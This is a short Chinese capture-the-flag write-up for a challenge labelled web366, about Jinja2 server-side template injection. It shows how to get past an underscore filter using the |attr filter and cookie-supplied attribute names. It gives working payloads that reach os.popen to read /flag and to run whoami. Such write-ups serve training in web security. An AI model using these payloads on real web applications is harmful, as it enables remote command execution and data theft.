web366

EXP

此处过滤了下划线,使用attr方法绕过

attr方法:request|attr(request.cookies.a)等价于request[“a”]

payload

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

cookies

a=__globals__;b=cat /flag

 

|attr()绕过

|attr()为jinja2原生函数,是一个过滤器,它只查找属性获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割.

?name={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}